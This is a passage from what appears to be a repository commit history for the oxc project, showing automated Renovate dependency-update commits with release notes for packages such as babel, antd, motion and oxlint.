`babel-traverse`
- [#​17297](https://redirect.github.com/babel/babel/pull/17297 )
Create babel-helper-globals
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-types`
- [#​17009](https://redirect.github.com/babel/babel/pull/17009 )
feature: TSTypeOperator: keyof
([#​16799](https://redirect.github.com/babel/babel/issues/16799 ))
([@​coderaiser](https://redirect.github.com/coderaiser ))
##### 🏠 Internal
- `babel-compat-data`, `babel-plugin-proposal-decorators`,
`babel-plugin-transform-async-generator-functions`,
`babel-plugin-transform-json-modules`,
`babel-plugin-transform-regenerator`, `babel-plugin-transform-runtime`,
`babel-preset-env`, `babel-runtime-corejs3`
- [#​17403](https://redirect.github.com/babel/babel/pull/17403 )
Update `babel-polyfill` packages
([@​nicolo-ribaudo](https://redirect.github.com/nicolo-ribaudo ))
</details>
<details>
<summary>ant-design/ant-design (antd)</summary>
###
[`v5.26.3`](https://redirect.github.com/ant-design/ant-design/releases/tag/5.26.3 )
[Compare
Source](https://redirect.github.com/ant-design/ant-design/compare/5.26.2...5.26.3 )
- 🐞 Fix InputNumber using `variant=underlined` and `suffix` will show
the border radius issue.
[#​54228](https://redirect.github.com/ant-design/ant-design/pull/54228 )
[@​kiner-tang](https://redirect.github.com/kiner-tang )
- 🐞 Fix FloatButton.Group always throw the wrong warning of `shape`.
[#​54215](https://redirect.github.com/ant-design/ant-design/pull/54215 )
[@​deathemperor](https://redirect.github.com/deathemperor )
- 💄 Adjust Typography title using `fontWeightStrong` token.
[#​54185](https://redirect.github.com/ant-design/ant-design/pull/54185 )
[@​p-a](https://redirect.github.com/p-a )
- 🐞 Fix Tree.DirectoryTree dragging inidicator style issue.
[#​54183](https://redirect.github.com/ant-design/ant-design/pull/54183 )
[@​uioonm](https://redirect.github.com/uioonm )
- TypeScript
- 🤖 Clear Menu internal definition to align with official site. They are
not real working.
[#​54189](https://redirect.github.com/ant-design/ant-design/pull/54189 )
[@​wanpan11](https://redirect.github.com/wanpan11 )
***
- 🐞 修复 InputNumber 在 `variant=underlined` 与 `suffix`
配合时,样式会出现圆角的问题。[#​54228](https://redirect.github.com/ant-design/ant-design/pull/54228 )
[@​kiner-tang](https://redirect.github.com/kiner-tang )
- 🐞 修复 FloatButton.Group 总是错误的抛出 `shape`
配置警告信息。[#​54215](https://redirect.github.com/ant-design/ant-design/pull/54215 )
[@​deathemperor](https://redirect.github.com/deathemperor )
- 💄 调整 Typography 标题使用 `fontWeightStrong`
token。[#​54185](https://redirect.github.com/ant-design/ant-design/pull/54185 )
[@​p-a](https://redirect.github.com/p-a )
- 🐞 修复 Tree.DirectoryTree
拖拽样式指示器位置不正确的问题。[#​54183](https://redirect.github.com/ant-design/ant-design/pull/54183 )
[@​uioonm](https://redirect.github.com/uioonm )
- TypeScript
- 🤖 清理 Menu
内部使用的属性定义与官网保持一致,这些属性并不会真的起效。[#​54189](https://redirect.github.com/ant-design/ant-design/pull/54189 )
[@​wanpan11](https://redirect.github.com/wanpan11 )
</details>
<details>
<summary>toss/es-toolkit (es-toolkit)</summary>
###
[`v1.39.6`](https://redirect.github.com/toss/es-toolkit/blob/HEAD/CHANGELOG.md#Version-v1396 )
[Compare
Source](https://redirect.github.com/toss/es-toolkit/compare/v1.39.5...v1.39.6 )
Released on July 2th, 2025.
- Fixed handling of null/undefined values in `values` function.
- Fixed type safety in `compat/get` by adding GetFieldType utility type.
We sincerely thank
[@​raon0211](https://redirect.github.com/raon0211 ),
[@​dayongkr](https://redirect.github.com/dayongkr ),
[@​yhb-flydream](https://redirect.github.com/yhb-flydream ),
[@​ssi02014](https://redirect.github.com/ssi02014 ),
[@​JeongHwan-dev](https://redirect.github.com/JeongHwan-dev ), and
[@​guesung](https://redirect.github.com/guesung ) for their
contributions. We appreciate your great efforts!
</details>
<details>
<summary>motiondivision/motion (motion)</summary>
###
[`v12.23.0`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12230-2025-07-02 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.22.0...v12.23.0 )
##### Added
- Add `.stop()` and `.cancel()` methods to `useDragControls()`.
###
[`v12.22.0`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12220-2025-07-01 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.20.5...v12.22.0 )
##### Added
- Allow `delayChildren` to accept `stagger()`. This enables `from` and
`ease` options when staggering variant children.
##### Deprecated
- `staggerChildren` and `staggerDirection` options.
###
[`v12.20.5`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12205-2025-07-01 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.20.4...v12.20.5 )
##### Fixed
- Improve performance of projection styles by writing directly to
`element.style`.
- Only block layout animations when window has changed width.
###
[`v12.20.4`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12204-2025-07-01 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.20.3...v12.20.4 )
##### Fixed
- Improve performance of render loop.
- Improve performance of types.
###
[`v12.20.3`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12203-2025-07-01 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.20.2...v12.20.3 )
##### Fixed
- Always skip layout animation check on tree mount.
###
[`v12.20.2`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12202-2025-07-01 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.20.1...v12.20.2 )
##### Fixed
- Updated `Transition` type to be more permissive.
###
[`v12.20.1`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12201-2025-06-30 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.20.0...v12.20.1 )
##### Fixed
- Updated `Target` type to match previous definition.
###
[`v12.20.0`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12200-2025-06-30 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.19.4...v12.20.0 )
##### Added
- Pass a shadow DOM root element via `AnimatePresence` `root` prop to
attach `"popLayout"` styles to a different root element.
###
[`v12.19.4`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12194-2025-06-30 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.19.3...v12.19.4 )
##### Fixed
- Ensure animations are removed from scope when finished.
###
[`v12.19.3`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12193-2025-06-27 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.19.2...v12.19.3 )
##### Fixed
- Restore some deprecated types.
- Add `transformPerspective` to `TargetAndTransition`.
- Filter number-indexed and function props from `CSSStyleDeclaration`.
</details>
<details>
<summary>microsoft/playwright (playwright)</summary>
###
[`v1.53.2`](https://redirect.github.com/microsoft/playwright/compare/v1.53.1...8c38de4d13d1e8e28cc97d4ad81cc398a6b2fb32 )
[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.53.1...v1.53.2 )
</details>
<details>
<summary>oxc-project/oxc (oxlint)</summary>
###
[`v1.5.0`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v1.5.0 ):
oxlint v1.5.0
[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.4.0...oxlint_v1.5.0 )
#### \[1.5.0] - 2025-07-02
##### 🚀 Features
-
[`899b8b4`](https://redirect.github.com/oxc-project/oxc/commit/899b8b4 )
linter: Allow namespace re-export in `import/no-cycle`
([#​11995](https://redirect.github.com/oxc-project/oxc/issues/11995 ))
(Boshen)
##### 🐛 Bug Fixes
-
[`f732589`](https://redirect.github.com/oxc-project/oxc/commit/f732589 )
linter: Panic in `consistent-type-imports` when the source contains a
`{`
([#​12002](https://redirect.github.com/oxc-project/oxc/issues/12002 ))
(camc314)
-
[`4b2c658`](https://redirect.github.com/oxc-project/oxc/commit/4b2c658 )
oxlint: Make `--version` exit code be `0`
([#​11986](https://redirect.github.com/oxc-project/oxc/issues/11986 ))
(camc314)
##### 🚜 Refactor
-
[`f7a2ae4`](https://redirect.github.com/oxc-project/oxc/commit/f7a2ae4 )
ast: Add `AstKind` for `AssignmentTargetPropertyIdentifier`,
`AssignmentTargetPropertyProperty`
([#​11985](https://redirect.github.com/oxc-project/oxc/issues/11985 ))
(camc314)
-
[`cfa52c2`](https://redirect.github.com/oxc-project/oxc/commit/cfa52c2 )
ast: Add `AstKind` for `AssignmentTargetRest`
([#​11984](https://redirect.github.com/oxc-project/oxc/issues/11984 ))
(camc314)
-
[`3f91f24`](https://redirect.github.com/oxc-project/oxc/commit/3f91f24 )
linter: Remove `RulesCache`
([#​11981](https://redirect.github.com/oxc-project/oxc/issues/11981 ))
(camc314)
-
[`54582cb`](https://redirect.github.com/oxc-project/oxc/commit/54582cb )
ast: Add `AstKind` for `BindingProperty`
([#​11974](https://redirect.github.com/oxc-project/oxc/issues/11974 ))
(camc314)
###
[`v1.4.0`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v1.4.0 ):
oxlint v1.4.0
[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.3.0...oxlint_v1.4.0 )
#### \[1.4.0] - 2025-06-30
##### 🚀 Features
-
[`8e1573d`](https://redirect.github.com/oxc-project/oxc/commit/8e1573d )
linter: Add id-length rule from eslint
([#​11887](https://redirect.github.com/oxc-project/oxc/issues/11887 ))
(Nicholas Rayburn)
-
[`5dfcac5`](https://redirect.github.com/oxc-project/oxc/commit/5dfcac5 )
linter: Add eslint/arrow-body-style rule
([#​11937](https://redirect.github.com/oxc-project/oxc/issues/11937 ))
(yefan)
-
[`9b19b40`](https://redirect.github.com/oxc-project/oxc/commit/9b19b40 )
napi: Add basic oxlint napi bindings
([#​11877](https://redirect.github.com/oxc-project/oxc/issues/11877 ))
(camc314)
-
[`f102cb1`](https://redirect.github.com/oxc-project/oxc/commit/f102cb1 )
linter: Add `import/prefer-default-export` rule
([#​11891](https://redirect.github.com/oxc-project/oxc/issues/11891 ))
(yefan)
##### 🐛 Bug Fixes
-
[`114c4fb`](https://redirect.github.com/oxc-project/oxc/commit/114c4fb )
linter/no-useless-spread: Panic with multi byte char
([#​11964](https://redirect.github.com/oxc-project/oxc/issues/11964 ))
(camc314)
-
[`c2e5439`](https://redirect.github.com/oxc-project/oxc/commit/c2e5439 )
linter: Fix default values for `unicorn/consistent-function-scoping`
([#​11960](https://redirect.github.com/oxc-project/oxc/issues/11960 ))
(Sysix)
-
[`214c8e7`](https://redirect.github.com/oxc-project/oxc/commit/214c8e7 )
linter: Fix default values for `import/no-absolute-path`
([#​11959](https://redirect.github.com/oxc-project/oxc/issues/11959 ))
(Sysix)
-
[`b4cc222`](https://redirect.github.com/oxc-project/oxc/commit/b4cc222 )
linter: Fix `typescript/no-namespace` default values
([#​11958](https://redirect.github.com/oxc-project/oxc/issues/11958 ))
(Sysix)
-
[`11e0a43`](https://redirect.github.com/oxc-project/oxc/commit/11e0a43 )
linter/prefer-dom-node-remove: Panic when callee is ts non null
expression
([#​11949](https://redirect.github.com/oxc-project/oxc/issues/11949 ))
(camc314)
-
[`4903e39`](https://redirect.github.com/oxc-project/oxc/commit/4903e39 )
linter/no-standalone-expect: False positive in callback fn
([#​11940](https://redirect.github.com/oxc-project/oxc/issues/11940 ))
(camc314)
-
[`1e88dba`](https://redirect.github.com/oxc-project/oxc/commit/1e88dba )
oxc\_linter: Make linter file paths clickable within JetBrains terminals
([#​11619](https://redirect.github.com/oxc-project/oxc/issues/11619 ))
(Nicholas Rayburn)
-
[`fe4006b`](https://redirect.github.com/oxc-project/oxc/commit/fe4006b )
linter/jsx-key: False positive in react/jsx-key
([#​11918](https://redirect.github.com/oxc-project/oxc/issues/11918 ))
(camc314)
-
[`d32cb4b`](https://redirect.github.com/oxc-project/oxc/commit/d32cb4b )
linter: Fix default values for `eslint/no-redeclare`
([#​11911](https://redirect.github.com/oxc-project/oxc/issues/11911 ))
(Sysix)
-
[`d80c19d`](https://redirect.github.com/oxc-project/oxc/commit/d80c19d )
linter: Fix default values for `eslint/max-lines-per-function`
([#​11910](https://redirect.github.com/oxc-project/oxc/issues/11910 ))
(Sysix)
-
[`41a5342`](https://redirect.github.com/oxc-project/oxc/commit/41a5342 )
linter: Fix default values for `eslint/max-nested-callbacks`
([#​11909](https://redirect.github.com/oxc-project/oxc/issues/11909 ))
(Sysix)
-
[`2e3db4e`](https://redirect.github.com/oxc-project/oxc/commit/2e3db4e )
linter: Fix default values for `eslint/max-depth`
([#​11908](https://redirect.github.com/oxc-project/oxc/issues/11908 ))
(Sysix)
-
[`a358797`](https://redirect.github.com/oxc-project/oxc/commit/a358797 )
linter: Remove false positives for `no-extend-native`
([#​11888](https://redirect.github.com/oxc-project/oxc/issues/11888 ))
(camchenry)
-
[`6f67b52`](https://redirect.github.com/oxc-project/oxc/commit/6f67b52 )
linter: Revert prefer-promise-reject-errors to old behavior
([#​11889](https://redirect.github.com/oxc-project/oxc/issues/11889 ))
(camchenry)
-
[`d991fed`](https://redirect.github.com/oxc-project/oxc/commit/d991fed )
linter: Fix `jsx-a11y/label-has-associated-control` default values
([#​11832](https://redirect.github.com/oxc-project/oxc/issues/11832 ))
(Sysix)
-
[`a0a4aa1`](https://redirect.github.com/oxc-project/oxc/commit/a0a4aa1 )
linter: Count own indirect export entries to the threshold for
`oxc/no-barrel-file`
([#​11838](https://redirect.github.com/oxc-project/oxc/issues/11838 ))
(Sysix)
##### 🚜 Refactor
-
[`344f3f9`](https://redirect.github.com/oxc-project/oxc/commit/344f3f9 )
linter: Minor refactors to `eslint/id-length`
([#​11976](https://redirect.github.com/oxc-project/oxc/issues/11976 ))
(camc314)
-
[`46b59d8`](https://redirect.github.com/oxc-project/oxc/commit/46b59d8 )
linter: Remove unused `ContextHost::with_config`
([#​11970](https://redirect.github.com/oxc-project/oxc/issues/11970 ))
(camc314)
-
[`2cf9fa3`](https://redirect.github.com/oxc-project/oxc/commit/2cf9fa3 )
linter: Derive debug for `extensions`
([#​11938](https://redirect.github.com/oxc-project/oxc/issues/11938 ))
(camc314)
-
[`17e0898`](https://redirect.github.com/oxc-project/oxc/commit/17e0898 )
linter: Move `import/no-duplicates` to style category
([#​11929](https://redirect.github.com/oxc-project/oxc/issues/11929 ))
(Sysix)
-
[`dd2e196`](https://redirect.github.com/oxc-project/oxc/commit/dd2e196 )
linter: Move `unicorn/no-nested-ternary` to style category
([#​11928](https://redirect.github.com/oxc-project/oxc/issues/11928 ))
(Sysix)
-
[`8404da4`](https://redirect.github.com/oxc-project/oxc/commit/8404da4 )
linter: Remove unused `LintPluginOptions`
([#​11919](https://redirect.github.com/oxc-project/oxc/issues/11919 ))
(camc314)
-
[`87b8496`](https://redirect.github.com/oxc-project/oxc/commit/87b8496 )
ast: Remove `AstKind` for `MemberExpression` and replace with
`StaticMemberExpression` and `PrivateFieldExpression`
([#​11767](https://redirect.github.com/oxc-project/oxc/issues/11767 ))
(camchenry)
-
[`e840680`](https://redirect.github.com/oxc-project/oxc/commit/e840680 )
linter/no-named-as-default-members: Remove needless lambda
([#​11896](https://redirect.github.com/oxc-project/oxc/issues/11896 ))
(camc314)
-
[`2760591`](https://redirect.github.com/oxc-project/oxc/commit/2760591 )
linter/no-console: Early return if ident does not match
([#​11895](https://redirect.github.com/oxc-project/oxc/issues/11895 ))
(camc314)
-
[`190e390`](https://redirect.github.com/oxc-project/oxc/commit/190e390 )
ast: Add `AstKind` for `ComputedMemberExpression`
([#​11766](https://redirect.github.com/oxc-project/oxc/issues/11766 ))
(camchenry)
##### 📚 Documentation
-
[`940b98f`](https://redirect.github.com/oxc-project/oxc/commit/940b98f )
linter: Fix docs for `typescript/no-this-alias`
([#​11963](https://redirect.github.com/oxc-project/oxc/issues/11963 ))
(Sysix)
-
[`c4a95a2`](https://redirect.github.com/oxc-project/oxc/commit/c4a95a2 )
linter: Move `jest/valid-title` options into a codeblock
([#​11961](https://redirect.github.com/oxc-project/oxc/issues/11961 ))
(Sysix)
-
[`0d3e8e7`](https://redirect.github.com/oxc-project/oxc/commit/0d3e8e7 )
linter: Fix prefer-string-replace-all example
([#​11921](https://redirect.github.com/oxc-project/oxc/issues/11921 ))
(Bruno Henriques)
-
[`06781ab`](https://redirect.github.com/oxc-project/oxc/commit/06781ab )
linter: Fix doc formatting for perfer-logical-op-over-ternary
([#​11920](https://redirect.github.com/oxc-project/oxc/issues/11920 ))
(camc314)
##### ⚡ Performance
-
[`2cf63ea`](https://redirect.github.com/oxc-project/oxc/commit/2cf63ea )
linter: `nextjs/no-document-import-in-page` check the filepath before
running the rule
([#​11962](https://redirect.github.com/oxc-project/oxc/issues/11962 ))
(Sysix)
-
[`19cee8c`](https://redirect.github.com/oxc-project/oxc/commit/19cee8c )
linter/no-extend-native: Do not create unnecessary `CompactStr`
([#​11885](https://redirect.github.com/oxc-project/oxc/issues/11885 ))
(overlookmotel)
-
[`66dbf9d`](https://redirect.github.com/oxc-project/oxc/commit/66dbf9d )
linter/no-console: Get static property name only once
([#​11880](https://redirect.github.com/oxc-project/oxc/issues/11880 ))
(overlookmotel)
##### 🧪 Testing
-
[`168f776`](https://redirect.github.com/oxc-project/oxc/commit/168f776 )
linter/no-console: Add more tests
([#​11878](https://redirect.github.com/oxc-project/oxc/issues/11878 ))
(overlookmotel)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNy4yIiwidXBkYXRlZEluVmVyIjoiNDEuMTcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-07-06 19:40:27 +00:00
renovate[bot]
7f87dcab46
chore(deps): lock file maintenance npm packages ( #11972 )
2025-06-30 14:10:13 +08:00
renovate[bot]
15d84be165
chore(deps): lock file maintenance npm packages ( #11850 )
2025-06-23 13:02:38 +08:00
renovate[bot]
c391f1a72b
chore(deps): update npm packages (major) ( #11730 )
2025-06-18 12:39:43 +08:00
renovate[bot]
9525250ccb
chore(deps): lock file maintenance npm packages ( #11731 )
2025-06-16 10:14:59 +08:00
renovate[bot]
888b9c8d43
chore(deps): lock file maintenance npm packages ( #11557 )
2025-06-09 14:34:46 +08:00
renovate[bot]
d0cc3315fd
chore(deps): lock file maintenance npm packages ( #11429 )
2025-06-02 12:55:52 +08:00
renovate[bot]
9e2686a62b
chore(deps): lock file maintenance npm packages ( #11289 )
2025-05-26 11:55:59 +08:00
renovate[bot]
d76f7fee1f
chore(deps): lock file maintenance npm packages ( #11140 )
...
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [antd](https://ant.design )
([source](https://redirect.github.com/ant-design/ant-design )) |
devDependencies | patch | [`5.25.1` ->
`5.25.2`](https://renovatebot.com/diffs/npm/antd/5.25.1/5.25.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [@vscode/vsce](https://code.visualstudio.com )
([source](https://redirect.github.com/Microsoft/vsce )) | devDependencies
| patch | [`3.4.0` ->
`3.4.1`](https://renovatebot.com/diffs/npm/@vscode%2fvsce/3.4.0/3.4.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>ant-design/ant-design (antd)</summary>
###
[`v5.25.2`](https://redirect.github.com/ant-design/ant-design/releases/tag/5.25.2 )
[Compare
Source](https://redirect.github.com/ant-design/ant-design/compare/5.25.1...5.25.2 )
- 🐞 Fix AutoComplete `onPaste` event callback not working problem on
inside Input.
[#​53839](https://redirect.github.com/ant-design/ant-design/issues/53839 )
[@​Wxh16144](https://redirect.github.com/Wxh16144 )
- 🐞 Fix ColorPicker cannot input for hex value.
[#​53814](https://redirect.github.com/ant-design/ant-design/pull/53814 )
[@​DDDDD12138](https://redirect.github.com/DDDDD12138 )
- 🐞 Fix Statistic.Timer ssr hydrate issue.
[#​53817](https://redirect.github.com/ant-design/ant-design/pull/53817 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 Fix Table header blink issue when sticky is enable.
[#​53803](https://redirect.github.com/ant-design/ant-design/pull/53803 )
[@​afc163](https://redirect.github.com/afc163 )
- 💄 Fix Input.Search `variant="filled"` broken UI.
[#​53787](https://redirect.github.com/ant-design/ant-design/pull/53787 )
[@​afc163](https://redirect.github.com/afc163 )
- TypeScript
- 🤖 Fix Upload.Dragger does not accept generic parameter problem.
[#​53842](https://redirect.github.com/ant-design/ant-design/pull/53842 )
[@​fnoopv](https://redirect.github.com/fnoopv )
- 🤖 Remove Modal invalid properties type definition.
[#​53808](https://redirect.github.com/ant-design/ant-design/pull/53808 )
[@​wanpan11](https://redirect.github.com/wanpan11 )
***
- 🐞 修复 AutoComplete 中使用 Input 时 `onPaste`
回调不生效的问题。[#​53839](https://redirect.github.com/ant-design/ant-design/issues/53839 )
[@​Wxh16144](https://redirect.github.com/Wxh16144 )
- 🐞 修复 ColorPicker
的十六进制输入框无法输入的问题。[#​53814](https://redirect.github.com/ant-design/ant-design/pull/53814 )
[@​DDDDD12138](https://redirect.github.com/DDDDD12138 )
- 🐞 修复 Statistic.Timer ssr
注水渲染不一致的问题。[#​53817](https://redirect.github.com/ant-design/ant-design/pull/53817 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 修复 Table 开启 `sticky`
时的一个列头渲染闪烁问题。[#​53803](https://redirect.github.com/ant-design/ant-design/pull/53803 )
[@​afc163](https://redirect.github.com/afc163 )
- 💄 修复 Input.Search `variant="filled"`
的样式。[#​53787](https://redirect.github.com/ant-design/ant-design/pull/53787 )
[@​afc163](https://redirect.github.com/afc163 )
- TypeScript
- 🤖 修复 Upload.Dragger
不支持泛型参数的问题。[#​53842](https://redirect.github.com/ant-design/ant-design/pull/53842 )
[@​fnoopv](https://redirect.github.com/fnoopv )
- 🤖 移除 Modal
无效的属性类型定义。[#​53808](https://redirect.github.com/ant-design/ant-design/pull/53808 )
[@​wanpan11](https://redirect.github.com/wanpan11 )
</details>
<details>
<summary>Microsoft/vsce (@​vscode/vsce)</summary>
###
[`v3.4.1`](https://redirect.github.com/microsoft/vscode-vsce/releases/tag/v3.4.1 )
[Compare
Source](https://redirect.github.com/Microsoft/vsce/compare/v3.4.0...v3.4.1 )
#### Changes:
-
[#​1149](https://redirect.github.com/Microsoft/vsce/issues/1149 ):
Fix false positives in private key scanning
-
[#​1148](https://redirect.github.com/Microsoft/vsce/issues/1148 ):
Clarify unpublish command description
This list of changes was [auto
generated](https://dev.azure.com/monacotools/Monaco/\_build/results?buildId=338557\&view=logs ).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-19 11:27:33 +00:00
renovate[bot]
96e7143f97
chore(deps): lock file maintenance npm packages ( #11123 )
2025-05-19 10:47:25 +08:00